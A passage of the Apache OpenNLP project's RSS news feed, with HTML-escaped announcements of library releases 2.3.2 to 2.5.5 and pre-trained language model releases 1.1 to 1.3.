&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_5&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.5&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In total, this release tackles 27 issues, brings multiple dependency updates, bug fixes (e.g. OPENNLP-1545), and several additions.
Accessing (computed) probabilities is now possible in thread-safe probabilistic ME classes via the &lt;code&gt;probs()&lt;/code&gt; method (OPENNLP-1757)
Loading of pre-trained OpenNLP (UD) models from the classpath was made (even) easier (see: OPENNLP-1729).
The 2.5.5 release relies on version 1.3 of the &lt;a href=&quot;https://github.com/apache/opennlp-models&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;opennlp-models&lt;/a&gt;, providing access to pre-trained models for a total of 36 languages.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12355873&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenNLP Pre-trained Models 1.3 released</title>
      <link>https://opennlp.apache.org/news/news-2025-06-16.html</link>
      <pubDate>Mon, 16 Jun 2025 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2025-06-16.html</guid>
      	<description>
	&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_changed&quot;&gt;What&amp;#8217;s changed?&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;New pre-trained &lt;em&gt;sentence detection&lt;/em&gt;, &lt;em&gt;tokenization&lt;/em&gt;, &lt;em&gt;parts of speech tagging&lt;/em&gt;, and &lt;em&gt;lemmatization&lt;/em&gt; models are now available for 4 languages:&lt;/p&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Afrikaans, Indonesian, Irish, and Persian.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The Czech models required a change in training, that is a different treebank: &apos;PDTC&apos;, see: &lt;a href=&quot;https://github.com/UniversalDependencies/UD_Czech-PDTC/blob/master/README.md&quot; class=&quot;bare&quot;&gt;https://github.com/UniversalDependencies/UD_Czech-PDTC/blob/master/README.md&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;details&quot;&gt;Details&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;All models, for a total of 36 languages, were trained with OpenNLP 2.5.4 based on the UD 2.16 release &lt;a href=&quot;https://hdl.handle.net/11234/1-5901&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2.16&lt;/a&gt;
and are intended to provide usable models under the Apache 2.0 license.
These models will soon be available as JAR artifacts via Maven Central, or directly as binary files via our &lt;a href=&quot;/models.html&quot;&gt;models page&lt;/a&gt;.
See the models&apos; &lt;a href=&quot;https://dist.apache.org/repos/dist/release/opennlp/models/ud-models-1.3/README&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;
for more information, including how each was created and evaluated.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.4 released</title>
      <link>https://opennlp.apache.org/news/release-254.html</link>
      <pubDate>Wed, 16 Apr 2025 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-254.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.4.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.4 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_4&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.4&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In total, this release tackles 28 issues and brings several dependency updates, bug fixes, additions and a modernization of the stemmer classes.
The OpenNLP UIMA component has received many more unit tests (see: OPENNLP-385).
Other (sandbox) components also received further unit tests, raising the corresponding test coverage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For all changes, please see the full list found in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12355541&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.3 released</title>
      <link>https://opennlp.apache.org/news/release-253.html</link>
      <pubDate>Fri, 10 Jan 2025 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-253.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.3.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.3 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_3&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.3&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In total, this patch release tackles 5 issues. It fixes a regression in the binary distribution and brings some other improvements.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For all changes, please see the full list found in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12355519&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.2 released</title>
      <link>https://opennlp.apache.org/news/release-252.html</link>
      <pubDate>Fri, 27 Dec 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-252.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.2.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.2 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_2&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.2&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In total, this patch release tackles 21 issues. It brings two new features (thread-safe versions of key components), three dependency updates, several optimizations of code and JavaDoc, and working tool execution tests!
The latter had been deactivated for some time and are now part of the unit tests again.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For all changes, please see the full list found in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12355336&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.1 released</title>
      <link>https://opennlp.apache.org/news/release-251.html</link>
      <pubDate>Fri, 6 Dec 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-251.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.1 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_1&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In total, this patch release tackles 23 issues.
It introduces further, thread-safe versions of key components and expands support for custom abbreviation dictionaries in NLP tools.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, it includes bug fixes, upgraded dependencies, improved documentation, and the inclusion of OpenNLP Models 1.2.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list of improvements, please see the full list found in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12355252&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenNLP Pre-trained Models 1.2 released</title>
      <link>https://opennlp.apache.org/news/news-2024-11-23.html</link>
      <pubDate>Sat, 23 Nov 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2024-11-23.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;New pre-trained &lt;em&gt;sentence detection&lt;/em&gt;, &lt;em&gt;tokenization&lt;/em&gt;, &lt;em&gt;parts of speech tagging&lt;/em&gt;, and &lt;em&gt;lemmatization&lt;/em&gt; models for 9 languages are now available for:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Armenian, Basque, Catalan, Georgian, Greek, Kazakh, Korean, Icelandic, and Turkish.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The existing &lt;em&gt;sentence detection&lt;/em&gt;, &lt;em&gt;tokenization&lt;/em&gt;, and &lt;em&gt;parts of speech tagging&lt;/em&gt; models for the 23 languages,
published with the &lt;a href=&quot;/news/news-2024-10-28.html&quot;&gt;models release 1.1&lt;/a&gt;, have been re-trained.
In addition, new &lt;em&gt;lemmatization&lt;/em&gt; models have been trained and added,
based on &lt;a href=&quot;https://universaldependencies.org&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Universal Dependencies&lt;/a&gt; (UD) treebanks.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;All models, for a total of 32 languages, were trained with OpenNLP 2.5.0 based on the UD release &lt;a href=&quot;https://hdl.handle.net/11234/1-5787&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2.15&lt;/a&gt;
and are intended to provide usable models under the Apache 2.0 license.
These models will be available as JAR artifacts via Maven Central, or directly as binary files via our &lt;a href=&quot;/models.html&quot;&gt;models page&lt;/a&gt;.
See the models&apos; &lt;a href=&quot;https://dist.apache.org/repos/dist/release/opennlp/models/ud-models-1.2/README&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;
for more information, including how each was created and evaluated.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.0 released</title>
      <link>https://opennlp.apache.org/news/release-250.html</link>
      <pubDate>Mon, 11 Nov 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-250.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.0.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.0 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In total, this release tackles 62 issues and brings several dependency updates, bug fixes, substantial additions and some corrections for the API!
OpenNLP version 2.5.0 supports thread-safe sentence detection, tokenization and POS-tagging (see: OPENNLP-936). With this release, there is the possibility to disable the POS tag mapper (see: OPENNLP-1600) to achieve a custom mapping.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Furthermore, it relies on opennlp-models in version 1.1 which got substantially extended by models for 18 new languages (see: OPENNLP-1615) as listed on the &lt;a href=&quot;/models.html&quot;&gt;Model page&lt;/a&gt;.
The OpenNLP Brat Annotator component has been moved to the OpenNLP sandbox repository due to limited quality and usability concerns (see: OPENNLP-1634). Thereby, several compile and runtime dependencies could be dropped (Jackson, Jersey, etc.) and are thus no longer shipped with the &quot;bin&quot; artifacts.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Thank you to everyone who contributed to this release, including all of our users and the people who submitted bug reports, contributed code or documentation enhancements.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list of improvements, please see the full list found in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12354554&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenNLP Pre-trained Models 1.1 released</title>
      <link>https://opennlp.apache.org/news/news-2024-10-28.html</link>
      <pubDate>Mon, 28 Oct 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2024-10-28.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;New pre-trained &lt;em&gt;sentence detection&lt;/em&gt;, &lt;em&gt;tokenization&lt;/em&gt;, and &lt;em&gt;parts of speech tagging&lt;/em&gt; models for 18 (Indo-European) languages are now available for:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Bulgarian, Czech, Croatian, Danish, Estonian, Finnish, Latvian, Norwegian, Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovenian, Spanish, Swedish, and Ukrainian.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The existing &lt;em&gt;sentence detection&lt;/em&gt;, &lt;em&gt;tokenization&lt;/em&gt;, and &lt;em&gt;parts of speech tagging&lt;/em&gt; models for these 5 languages:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dutch, English, French, German, and Italian&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;were re-trained. The French models are now based on a GSD treebank, as the previously used
FTB treebank &lt;a href=&quot;https://universaldependencies.org/fr/index.html&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;is not maintained&lt;/a&gt; and
has therefore been discontinued by the &lt;a href=&quot;https://universaldependencies.org&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Universal Dependencies&lt;/a&gt; (UD) project.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;All  models were trained with OpenNLP 2.4.0 based on the UD release &lt;a href=&quot;https://hdl.handle.net/11234/1-5502&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2.14&lt;/a&gt; and are intended to provide usable models under the Apache 2.0 license.
These models are available as JAR artifacts via Maven Central, or directly as plain, binary files via our &lt;a href=&quot;/models.html&quot;&gt;models page&lt;/a&gt;.
See the models&apos; &lt;a href=&quot;https://dist.apache.org/repos/dist/release/opennlp/models/ud-models-1.1/README&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt; for more information on the models including how each was created and evaluated.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.4.0 released</title>
      <link>https://opennlp.apache.org/news/release-240.html</link>
      <pubDate>Tue, 16 Jul 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-240.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.4.0.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.4.0 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_4_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.4.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release brings dependency updates, bug fixes and a new module to load pre-trained OpenNLP models from JARs of the current classpath.
Together with our first release of &lt;a href=&quot;https://github.com/apache/opennlp-models&quot;&gt;OpenNLP Models&lt;/a&gt; pre-trained OpenNLP models can now easily be declared
as Maven dependencies and directly used from an application.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list of improvements, please see the full list found in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12354552&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.3.3 released</title>
      <link>https://opennlp.apache.org/news/release-233.html</link>
      <pubDate>Thu, 25 Apr 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-233.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.3.3.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.3.3 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_3_3&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.3.3&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release brings four dependency updates, two bug fixes, minor corrections in the manual, and working integration tests (IT) again!
The ITs were not executed for quite some time, but are now executed for every regular Maven build.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP manual&amp;#8217;s CSS got modernized. Moreover, this release will ship an abbreviation dictionary for the Dutch language.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list of improvements, please see the full list found in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12354199&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.3.2 released</title>
      <link>https://opennlp.apache.org/news/release-232.html</link>
      <pubDate>Sun, 4 Feb 2024 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-232.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.3.2.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
